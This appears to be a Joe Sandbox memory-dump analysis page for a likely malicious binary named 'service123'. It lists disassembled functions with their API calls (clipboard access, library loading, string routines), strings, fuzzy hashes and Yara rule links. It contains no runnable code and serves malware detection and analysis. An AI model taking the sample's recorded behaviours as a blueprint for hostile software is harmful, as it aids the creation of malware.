Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 96309882b60d9c34ee4ba2e573067bd398c7dfdd247807b3d75b75c6d6ef9bc4
Instruction ID: 61447420e0f57bff35cd01b5ce57dbc7efaf5c27161bc3f59d69bfd59caf5793
Opcode Fuzzy Hash: 96309882b60d9c34ee4ba2e573067bd398c7dfdd247807b3d75b75c6d6ef9bc4
Instruction Fuzzy Hash: BFF044B29452108BCB20BF788A4A14EBFB4BB95324F414D7DD4E597610E234A414CBA7

Function 6C83F8C0 Relevance: 13.7, APIs: 8, Strings: 1, Instructions: 224COMMON

Download Yara Rule

APIs

memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F95D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83F988
memmove.MSVCRT ref: 6C83F9D7
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83FA0D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C81DA2E), ref: 6C83FA58

Strings

basic_string::_M_replace, xrefs: 6C83FBB6

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 498cc8f476bc199cd7128148664f4bb09d618e4646b5787fc1693dbf7c6dd326
Instruction ID: 4d1b657bcdf05e32ef83dd56fe2f97fb2445b4e4da016998ded6631a094ec570
Opcode Fuzzy Hash: 498cc8f476bc199cd7128148664f4bb09d618e4646b5787fc1693dbf7c6dd326
Instruction Fuzzy Hash: 5D8138715093619FC321CF6CC28051EFBE1AFAA248F149CAEE8D997715D232E844CBD2

Function 6C7AFEE0 Relevance: 13.7, APIs: 9, Instructions: 186synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7B00D2
WaitForSingleObject.KERNEL32 ref: 6C7B0117

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: ef2fa10546d4332223493c3e2b172bf68b5c0be507f65594e6b4451ff1b22c4b
Instruction ID: cd1e426d63c1a55badb37fb869fc84c96b5de0477a7f1a62490021dd4b4ec2cb
Opcode Fuzzy Hash: ef2fa10546d4332223493c3e2b172bf68b5c0be507f65594e6b4451ff1b22c4b
Instruction Fuzzy Hash: C7612A70709349CFDB209FA9C74835A77F4BB4A31CF108639E95897A40E774D54ACBA2

Function 6C7AE760 Relevance: 13.6, APIs: 9, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction ID: c7c35acd50911a561ba1ae045660d580dc23fe505af808bbb4a80fa9a7b3460f
Opcode Fuzzy Hash: 06e0c648a8d817803f94ec4fed503a03ca8cf05461f9862a5274ef0ffe4ad900
Instruction Fuzzy Hash: 9401E575A0922DCFC700CEA8C690A9BF7E5AB85314F004E29E48587B15D230DCDBC7D2

Function 6C7B32C0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C7B3391

Strings

o, xrefs: 6C7B3778
0, xrefs: 6C7B380E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction ID: ed39ae68fc163121d289dd51733a1e644f64f47f2f7a545bdd677a0e9e758fc2
Opcode Fuzzy Hash: 00cb2d98c6e32ca29e5df2379417918a183b51e8976e900d5a5783c2af379635
Instruction Fuzzy Hash: A1F19071A046098FCB01CF68C6846DDFBF2BF89364F198269D864BB751DB34E985CB90

Function 00952BF0 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 407COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00952CC1

Strings

0, xrefs: 0095313E
o, xrefs: 009530A8

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: memset
String ID: 0$o
API String ID: 2221118986-4157579757
Opcode ID: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction ID: a9839e1fd0f7e1ece1fbf1a7c2888be9789ed415d89ebdfd827264e4512f937f
Opcode Fuzzy Hash: 5a2ef28bdbcba101e83cdabdda6d05f5f0490c8583f277cf0ba504eb215e70c5
Instruction Fuzzy Hash: C7F18F71A042098FCB15CF69C48069DBBF6BF8A361F19C229DC94AB391D334ED49CB90

Function 6C7A13E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 6C7A13F0
LoadLibraryA.KERNEL32 ref: 6C7A1406
GetProcAddress.KERNEL32 ref: 6C7A1425
GetProcAddress.KERNEL32 ref: 6C7A1437

Strings

__deregister_frame_info, xrefs: 6C7A142C
libgcc_s_dw2-1.dll, xrefs: 6C7A13E9, 6C7A13FF
__register_frame_info, xrefs: 6C7A141A

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: f429bd08eecc44f00adc49d6b9889ad5e8e32d75b79e8634f2750c48a6619b0b
Instruction ID: b16f38187fc36cf8ec28df9771cd0b444c896e566f0f953c39b8f397e6255823
Opcode Fuzzy Hash: f429bd08eecc44f00adc49d6b9889ad5e8e32d75b79e8634f2750c48a6619b0b
Instruction Fuzzy Hash: 22015EB6909200DFD720BFB9974A21DBFB4AB42258F414A7DD9A947B10E730C409DBE3

Function 009514E0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009514F0
LoadLibraryA.KERNEL32 ref: 00951506
GetProcAddress.KERNEL32 ref: 00951525
GetProcAddress.KERNEL32 ref: 00951537

Strings

__register_frame_info, xrefs: 0095151A
__deregister_frame_info, xrefs: 0095152C
libgcc_s_dw2-1.dll, xrefs: 009514E9, 009514FF

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: __deregister_frame_info$__register_frame_info$libgcc_s_dw2-1.dll
API String ID: 384173800-1835852900
Opcode ID: 15c61b053a1de621d739c4a3681ee311d756d4bf9a8e8a3564b227b9fc0fc447
Instruction ID: 9703a76c961b7acb54fce9c7aae0514b41cb689cdf14df5a2749f4bc681806b5
Opcode Fuzzy Hash: 15c61b053a1de621d739c4a3681ee311d756d4bf9a8e8a3564b227b9fc0fc447
Instruction Fuzzy Hash: D0011EB181D3049BC720FF7AA94931E7EE4AB85752F414529ED8987240E775840C9B9B

Function 6C7C73C0 Relevance: 12.2, APIs: 6, Strings: 2, Instructions: 237stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 6C7C7411
strlen.MSVCRT ref: 6C7C742B
strlen.MSVCRT ref: 6C7C747B
strlen.MSVCRT ref: 6C7C74D8
strlen.MSVCRT ref: 6C7C752C

Strings

*, xrefs: 6C7C7660
basic_string::append, xrefs: 6C7C76CA, 6C7C76D6, 6C7C76E2, 6C7C76EE

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$strcmp
String ID: *$basic_string::append
API String ID: 551667898-3732199748
Opcode ID: 7fd60c10f13d2df339d9d1b721d2adaadc5c66198718ff1ecfadac6553911b3f
Instruction ID: 469b53978651363fafaa3741b7d825b37782f8640a9c00865d1bad5979df0a3e
Opcode Fuzzy Hash: 7fd60c10f13d2df339d9d1b721d2adaadc5c66198718ff1ecfadac6553911b3f
Instruction Fuzzy Hash: A9A13A706086118FDB10DF68C28475EBBF1BB85308F51C96DD8989BB45EB35E849CB93

Function 6C843DD0 Relevance: 12.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 6C843E6F
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7DE9CE), ref: 6C843ED3
memmove.MSVCRT ref: 6C843F0B
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C7DE9CE), ref: 6C843F7A

Strings

basic_string::_M_replace, xrefs: 6C8440FF

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memmove$memcpy
String ID: basic_string::_M_replace
API String ID: 3033661859-2323331477
Opcode ID: 29a6447f2c69832291281c1b0a6c6c28484520c75b0550109967ae614a65edad
Instruction ID: 88c446db9fd4f36d2560c241f13de106a9f366b517ef7705000a874a42a7f138
Opcode Fuzzy Hash: 29a6447f2c69832291281c1b0a6c6c28484520c75b0550109967ae614a65edad
Instruction Fuzzy Hash: E79115356093598FC314DF18C28091ABBF1BF89348F508D2DE99997B24E774ED44CB82

Function 6C7AE800 Relevance: 12.1, APIs: 8, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction ID: b74d76a7c71ab0a7e74669ce8e6a53e728146743cd7301da7e1f4ca3a1b9d3c9
Opcode Fuzzy Hash: 1884a794d3d441725b09e7e72905d71cc32fb0140713b8c23ce069bb11cd822c
Instruction Fuzzy Hash: 5221043095420DCF9718CE9AC3D198BB7A6AB86314B149B35D48447A48D330E8ABC7E2

Function 6C7B9BA6 Relevance: 12.1, APIs: 8, Instructions: 86clipboardCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 6C7B9BA9
IsClipboardFormatAvailable.USER32 ref: 6C7B9DDC
OpenClipboard.USER32 ref: 6C7B9DF0

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Clipboard$AvailableCloseFormatHandleOpen
String ID:
API String ID: 518195572-0
Opcode ID: 4e00d5485921a95f55e15a1559234e21c1240f1a6d5783e9aced1151ddb1ccea
Instruction ID: b107e4fa05f0dc7d5454681e6b1e6bacafd0a6192d218f1d50e3929a219b04ee
Opcode Fuzzy Hash: 4e00d5485921a95f55e15a1559234e21c1240f1a6d5783e9aced1151ddb1ccea
Instruction Fuzzy Hash: 0B214CB26082008FEB10BF7DD64916EBBF4AB55309F044A79E896D3644EB34D508CBA3

Function 00951E70 Relevance: 12.1, APIs: 8, Instructions: 84COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00951EAF
signal.MSVCRT ref: 00951EF6
signal.MSVCRT ref: 00951F0F
signal.MSVCRT ref: 00951F36
signal.MSVCRT ref: 00951F72
signal.MSVCRT ref: 00951FBF
signal.MSVCRT ref: 00951FD5
signal.MSVCRT ref: 00951FEB

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: 88300ff460cc9b280dc8e6f59b13208fcff84c03deeb3c27e6accb0c8f9c2a19
Instruction ID: 290c8eb97cd0e713423c13a8be2eafeb89a7ecfead404cc79543bcb367eb5f6c
Opcode Fuzzy Hash: 88300ff460cc9b280dc8e6f59b13208fcff84c03deeb3c27e6accb0c8f9c2a19
Instruction Fuzzy Hash: 2631D7B05092019AE720EFA6C94636EB6D8EF8535AF154D1DECC886281CB7DC8CD9B53

Function 6C7B4A30 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 6C7B4A48

Strings

@, xrefs: 6C7B4D17
NaN, xrefs: 6C7B540B
Inf, xrefs: 6C7B5505, 6C7B551D

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 5ca02263d22fd0d75de4607973662cee0372281a55d5c203f791fbc510a130f9
Instruction ID: 8428af0f608d2278a925f6d914eb6e4ad50ad884e3f63e39c34d2d60723f159c
Opcode Fuzzy Hash: 5ca02263d22fd0d75de4607973662cee0372281a55d5c203f791fbc510a130f9
Instruction Fuzzy Hash: 15F1F47160C3858BD7608F28D65439BBBE2BFC5318F148A2DE9DCA7781D7349909DB82

Function 00954360 Relevance: 10.9, APIs: 3, Strings: 3, Instructions: 399COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00954378

Strings

@, xrefs: 00954647
NaN, xrefs: 00954D3B
Inf, xrefs: 00954E35, 00954E4D

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: _errno
String ID: @$Inf$NaN
API String ID: 2918714741-141429178
Opcode ID: 8bff36628f8f5fde1723db37c72c664a7074a31d4a8acf2009967721e149ed39
Instruction ID: 1051486ba7b609e73699f84b348e0cc3fe960e787bb68bb13d84967feffcac6b
Opcode Fuzzy Hash: 8bff36628f8f5fde1723db37c72c664a7074a31d4a8acf2009967721e149ed39
Instruction Fuzzy Hash: F6F1B17160C3858BD770CF26C4503ABBBE5BBC5319F148A1DEDD987281E739998E8B42

Function 6C7B3830 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

@, xrefs: 6C7B3AFA
0, xrefs: 6C7B3B96

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction ID: 41d209553170e01c3d116ec197ca8974739e931585c5324ab4c3d433ad01ec95
Opcode Fuzzy Hash: 852fd2e7f322feda59a9287ec6fcafc659018383277beee50283a5623e34e20d
Instruction Fuzzy Hash: 9AC16D71E046158BDB04CF6DC68478DBBF1BF89318F258269E858BB785DB34E885CB90

Function 00953160 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 295COMMON

Download Yara Rule

Strings

0, xrefs: 009534C6
@, xrefs: 0095342A

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID:
String ID: 0$@
API String ID: 0-1545510068
Opcode ID: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction ID: 988a90ee2e8f0b25bef1fc200832c2c9fc9519d4fba4cd8717daec48ec3d886f
Opcode Fuzzy Hash: e57f9d77be607eb7be2d65c7f691f863806e0b74bc638be5844c6890f5152d77
Instruction Fuzzy Hash: 0EC19A71E006168BCB15CF6EC48479DBBF5AF88391F58C219EC58AB385D734E949CB90

Function 6C7CB810 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 212stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 6C7CB836
memcmp.MSVCRT ref: 6C7CB85A
memcmp.MSVCRT ref: 6C7CB8CD
memcmp.MSVCRT ref: 6C7CB93F

Part of subcall function 6C86ADB0: strlen.MSVCRT ref: 6C86ADBE

memcmp.MSVCRT ref: 6C7CB9D7

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C7CB881, 6C7CB8F2, 6C7CB965, 6C7CB9FE, 6C7CBA1A
basic_string::compare, xrefs: 6C7CB879, 6C7CB8EA, 6C7CB95D, 6C7CB9F6, 6C7CBA12

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 721bf5c33a7933248219f05b6b5899b6bac6afc9072c73a60eef0e48926b0240
Instruction ID: abe96da098e76f3893fd17c57ea1916c6c525bebe1a2541ad709e27f6200eefe
Opcode Fuzzy Hash: 721bf5c33a7933248219f05b6b5899b6bac6afc9072c73a60eef0e48926b0240
